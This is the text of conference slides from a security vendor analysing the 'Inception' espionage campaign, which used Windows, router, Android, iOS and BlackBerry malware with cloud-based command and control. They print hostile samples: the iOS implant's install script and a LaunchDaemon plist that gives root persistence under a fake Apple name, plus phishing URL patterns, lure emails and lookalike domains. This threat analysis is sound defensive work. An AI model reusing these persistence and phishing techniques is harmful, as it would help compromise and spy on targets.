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San Francisco | April 20-24 | Moscone Center

SESSION ID: BR-T10

Inception: APT Campaign Spanning PCs, Mobile, the Cloud, and Home Routers

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CHANGE


Challenge today's security thinking



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
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What is Inception?




 #RSAC



Who was targeted?





- ◆ Government
- ◆ Embassies
- ◆ Politics
- ◆ Finance
- ◆ Military
- ◆ Engineering
- ◆ United Nations Members
- ◆ World Petroleum Council



Phishing emails




Attack vector



Base implant

```
{  
  'UserName': u'q',  
  'ServicePack': 'Service Pack 3',  
  'ComputerName': u'2-696316AB411A4',  
  'ModuleName':  
u'C:\\WINDOWS\\system32\\regsvr32.exe',  
  'SystemLCID': '0x419',  
  'SystemDrive': u'C:\\',  
  'isAdmin': True,  
  'UserLCID': '0x419',  
  'Time': '2014-8-5 17:47:0',  
  'OSVersion': '5.1.2600.2',  
  'VolumeSerial': '0xb48f8edc'  
}
```

- ◆ Pulls basic survey information from target and uploads this information every ± 15 minutes
- ◆ Can retrieve additional functionality from command and control servers.
- ◆ We've observed the following additional capabilities downloaded
 - ◆ Dir/File walk
 - ◆ Survey domain information
 - ◆ System hardware survey
 - ◆ Enumerate all installed software
 - ◆ Upload files of interest to c&c
 - ◆ doc/x, xls/x, ppt/x, pdf





Command and control via the cloud


- ◆ Utilized cloud hosting provider Cloudme.com
- ◆ All data over WEBDAV
- ◆ Via WNetAddConnection call

```
net use
s will not be remembered.


Local          Remote          Network
-----
\\webdav.cloudme.com\depp3353\CloudDrive
Web Client Network
Completed successfully.
```




Communication channel



- ◆ Interchangeable cloud service
- ◆ All comms with C&C server are encrypted with 256bit AES
- ◆ Unique encryption key for each sample
- ◆ Attacks against same target share same account
- ◆ Data is exchange via files dropped in configured folders
- ◆ Data from victim is given a selected extension to blend in on cloud server



Chinese APT tie




- ◆ In some instances we noticed this executable being dropped
- ◆ Known to be associated with a Chinese APT group
- ◆ Is a simple C&C backdoor whose functionality overlaps with already in place backdoor
- ◆ C&C domain for this sample expired shortly after being observed
- ◆ Coding skill behind this sample far inferior

Victims

'ModuleName': u'C:\\Windows\\system32\\regsvr32.exe'
'ModuleName': u'C:\\Windows\\SysWOW64\\regsvr32.exe'

Researchers


'ModuleName': u'C:\\analysis\\ollyclean\\LOADDLL.EXE'
'ModuleName': u'C:\\Windows\\system32\\rundll32.exe'



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
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A dream within a dream




Cloudme logs


- ◆ Cloudme provided access logs for an account
 - ◆ Attackers accessed account from over 100 different IPs
 - ◆ Attackers IP seemed to change on regular intervals
 - ◆ Large majority of IPs came from South Korea
 - ◆ IPs didn't match TOR exit nodes or any other known proxies



by [REDACTED] 1/35




Proxy network built from embedded devices




How do I copy?

```
Local Address      Foreign Address    State      PID/Program name
0.0.0.0:ssh        0.0.0.0:*          LISTEN     591/dropbear
0.0.0.0:https      0.0.0.0:*          LISTEN     593/https
0.0.0.0:22945     0.0.0.0:*          LISTEN     812/tail-
```





```
744 admin 0 SW< [dwc org]
772 admin 0 SW [tmpcmdq, k]
812 admin 1384 S /tmp/tail-
874 admin 1292 R ps
```



- ◆ Router runs stream-line Linux
- ◆ Uses busybox for basic command line utilities
- ◆ “tail-“ looks fishy
- ◆ Now, how to download it
 - ◆—USB
 - ◆—SCP
 - ◆—FTP
 - ◆—TFTP
 - ◆—netcat
 - ◆—echo—e
 - ◆ wget busybox w/ netcat





Router proxy malware





Attacker's infrastructure



Turning the tables



More infrastructure revealed



Email servers

```

.....[redacted]...[redacted].220 relay [redacted] ESMTP Service ready
EHLO [redacted]
250-Requested mail action okay, completed
250-SIZE 20971520
250-ETRN
250-8BITIME
250 OK
MAIL FROM:<secretariat_oil@[redacted]>
250 Requested mail action okay, completed
RCPT TO:<[redacted]>
250 Requested mail action okay, completed
DATA
354 Start mail input; end with <CRLF>.<CRLF>
From: =?utf-8?B?c2VjcmV0YXJpYXRfb2ls[redacted]?= <secretariat_oil@[redacted]>
To: <[redacted]>
Subject: =?utf-8?B?Q29udHJhY3RfMTQ3NA==?= Contract_1474
Date: Fri, 24 Oct 2014 15:51:13 +0500
Message-ID: <70707393696556550.828330607110376.35>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        .boundary="= 00_430948465969"


--= 00_430948465969
Content-Type: text/plain;
        .charset="utf-8"
Content-Transfer-Encoding: base64

QmVzdCBSZWdhcmRzLA0KTXIuIFJBRsSwRyBIQVNBTK9WQ0oNCg== Best Regards,
Mr. RAFIG HASANOV



--= 00_430948465969
Content-Type: application/octet-stream;
        .name=?utf-8?B?TVExNDc0LmRvYw==?= MQ1474.doc
Content-Transfer-Encoding: base64
Content-Description: =?utf-8?B?TVExNDc0LmRvYw==?= MQ1474.doc
Content-Disposition: attachment;
        .filename=?utf-8?B?TVExNDc0LmRvYw==?= MQ1474.doc

```

- ◆ Observed attacks uses SOCKS proxy to email servers they controlled
 - ◆ Used routers to hide their identify from service providers
- ◆ Domains and servers appear to be paid for with bitcoin
- ◆ Domains look legit to victims
 - ◆ haarmannsi.cz vs haarmannsi.com
 - ◆ sanygroup.co.uk vs sanygroup.com
 - ◆ ecolines.es vs ecolines.net





Mobile as a target



Phishing link



- ◆ http://82.221.100.xxx/page/index?id=target_identifier&type2=action_code
- ◆ 743: Serve malware disguised as WhatsApp updates
- ◆ 1024: Serve malware disguised as Viber updates
- ◆ other: Serve MMS phishing content.



MMS phishing



- ◆ We don't have a sample of the actual MMS message
- ◆ Presumed message contained a link and a 'password'
- ◆ Link from message takes victim to a simple password page
- ◆ The Logo is one of many mobile phone carriers
- ◆ We were only able to collect some of the carrier logos from the server before it was shutdown



Bitly statistics

bitly Paste a long URL here to shorten


nicolatesla53

BITMARKS (9,999) BUNDLES (0)


9,999 Bitlinks 0 Bundles Since Jul '14

BBC Homepage
 Nov 21 82.221.100.55/page/index?id=1416581822979387382&type2=1024
 Breaking news, sport, TV, radio and a whole lot more. The BBC informs, educates and entertains - wherever you are, whatever your age.

BBC Homepage
 Nov 21 82.221.100.55/page/index?id=1416581821916993398&type2=1024
 Breaking news, sport, TV, radio and a whole lot more. The BBC informs, educates and entertains




Bitly statistics



Android malware




- ◆ Masked as WhatsApp Update
- ◆ Upon execution installs as service and removed app icon
- ◆ Is capable of gathering the following information
 - ◆ Account data
 - ◆ Location
 - ◆ Contacts
 - ◆ External and Internal Storage (files written)
 - ◆ Audio (microphone)
 - ◆ Outgoing calls
 - ◆ Incoming calls
 - ◆ Call log
 - ◆ Calendar
 - ◆ Browser bookmarks
 - ◆ Incoming SMS



Android Comms


- ◆ Malware Connects to specific user account on common blog site
- ◆ Looks for encrypted message between special HTML tags
- ◆ Decodes message which points to second-tier blog site
- ◆ Second-tier blog sites all appear to be compromised sites
- ◆ This way attackers can easily switch out what compromised sites are used for C&C



iOS malware



- ◆ Masked as Skype Update
- ◆ Requires iPhone to be rooted with Cydia installed
- ◆ Once executed deletes app and sets executable to run at reboot
- ◆ Communicates with C&C via public hosting service's FTP
- ◆ Is capable of gathering the following information
 - ◆ Device platform, name, model, system name, system version
 - ◆ iTunes Account Information
 - ◆ Contacts
 - ◆ Hardware information
 - ◆ SMS messages
 - ◆ Call log
 - ◆ Calendar




iOS deb installer

▼ d.deb	Folder	--
▼ control.tar.gz	Folder	--
control	TextEd...ument	568 bytes
postinst	Unix E...le File	322 bytes
▼ data.tar.gz	Folder	--
System	Folder	--
Library	Folder	--
LaunchDaemons	Folder	--
com.a...r.plist	property list	420 bytes
usr	Folder	--
bin	Folder	--
C	Unix E...le File	1.2 MB
cores	TextEd...ument	88 bytes
rsaCert.der	certific...X.509)	517 bytes
debian-binary	TextEd...ument	4 bytes

```
1 #!/bin/bash
2
3 chown root:wheel /usr/bin/C
4 chmod 755 /usr/bin/C
5 chmod 644 /System/Library/LaunchDaemons/com.apple.tor.plist
6 chown root:wheel /System/Library/LaunchDaemons/com.apple.tor.plist
7 rm /usr/bin/comms
8 rm /var/root/Media/Cydia/AutoInstall/d.deb
9 launchctl load /System/Library/LaunchDaemons/com.apple.tor.plist
10 exit 0
```

Key	Type	Value
▼ Root	Dictionary	(5 items)
Label	String	com.apple.tor
Program	String	/usr/bin/C
RunAtLoad	Boolean	YES
StartInterval	Number	20
UserName	String	root


```
plum@Hall:~$ file C
C: Mach-0 universal binary with 3 architectures
C (for architecture armv7):      Mach-0 executable arm
C (for architecture armv7s):    Mach-0 executable arm
C (for architecture arm64):    Mach-0 64-bit executable
```



Blackberry malware



- ◆ Masked as settings app
- ◆ Is capable of gathering the following information
 - ◆ Complete device hardware information (including temperature)
 - ◆ Account information
 - ◆ Hardware information
 - ◆ Address book
 - ◆ Mobile carrier information and area code
 - ◆ Installed applications




Mobile red herrings

```
os/SkypeUpdate/build/SkypeUp.build/Debug-iphonios/SkypeUp.build/Objc
.s/Link/System/Library/Frameworks/CoreGraphics.framework/Headers/CGGeo
ber/iOS/JohnClerk/Apps/SkypeUpdate/WhatsAppUpdate/ViewController.h
bel/KL-UIViewController setLabelOK:
indingView_OBJC_IVAR_$_ViewController
ld/SkypeUp.b
e applicati
indow:] -[App

arrayOfByte1.length)
IOException(ꠤꠤ SizeRandomStr:
OutputStream.read(new byte[i]);
caInputStream.readInt() + (4 +
IOException(ꠤꠤ SizeRandomStr:
yOfByte2 = a.a(localDataInputs

$0God_Save_The_Queen
$YvKI P0pg0twNgEpIuwIm


Log.info("705", new String("خواندن فایل".getBytes("UTF-8")), false)
localFileConnection = (FileConnection)Connector.open(str, 3);
if (!localFileConnection.exists())
```



C&C clues



- ◆ Tracked when new command files were uploaded to Cloudme
- ◆ Command files took the form of [x].bin where x is incremented each time
- ◆ From this we gained a good idea how successful their campaign was
- ◆ Over 24 hours this number increased by about 100, thus 100 active targets the attackers were using
- ◆ Based on the times the files were uploaded attackers were most active from 8:00AM to 5:00PM in the Eastern European Timezone



RedOctober

Diplomatic Car for Sale
ChevroletOptra




rice 3500 Euro

Year of manufacture: 2007
 Color: silver metallic
 Engine: 2000 cm³, 16V, Petrol
 Transmission: manual
 Mileage: 82000 km
 Remarks: 4 door car with radio, electric windows, very good condition, new battery, always serviced in the German Embassy Car Service
 The car can be viewed and test driven at the German Embassy, 10245 Modersheidegasse 16, 119355 Moscow. In order to arrange an appointment please contact Mr. Fawziyeh
 Tel.: +7 820 596 4200 (mobile) or +7 495 957 2506 ext. 423
 E-Mail: andr@ps-hhd@ps.de

Diplomatic car for sale




MODEL: Mazda 323-1998 **DISPLACEMENT:** 1800 cc
TRANSMISSION: Automatic **FUEL:** Benzin
MILEAGE: 145.000 km

*Power Steering - Electric Windows - AM/FM Stereo -
 Electric Mirrors - Air Conditioning - Remote central
 locking with Alarm - Extra snow tires.*

PRICE: 2.700 \$ (USD)
CONTACT: ***** - *****

THE CAR IS IN A VERY GOOD CONDITIONS


- ◆ Many similarities to RedOctober attack from 2012/2013
- ◆ Some phishing documents look almost identical
- ◆ Similar exploit markers
- ◆ Kaspersky notes large target overlap between campaigns



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
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Summary




Summary

- ◆ One of the most sophisticated malware attacks Blue Coat Labs has ever discovered
- ◆ Whole setup shows signs of automation and seasoned programming
- ◆ The amount of layers used in this scheme to protect the payload of their attack seems excessively paranoid
- ◆ The attackers utilize compromised embedded devices as well as multiple dedicated hosting providers and VPN services to mask their identity
- ◆ The framework is generic, and could work as an attack platform for a multitude of purposes with very little modification
- ◆ Includes malware targeting mobile devices: Android, Blackberry and iOS
- ◆ Difficult to assign attribution due to false clues



Apply/Prevention


- ◆ Block outbound WEBDAV
- ◆ Don't unlock phones
- ◆ Don't install apps from unofficial sources
- ◆ Keep software up-to-date
- ◆ User education (phishing attacks)



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Questions



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References

- ◆ http://dc.bluecoat.com/Inception_Framework

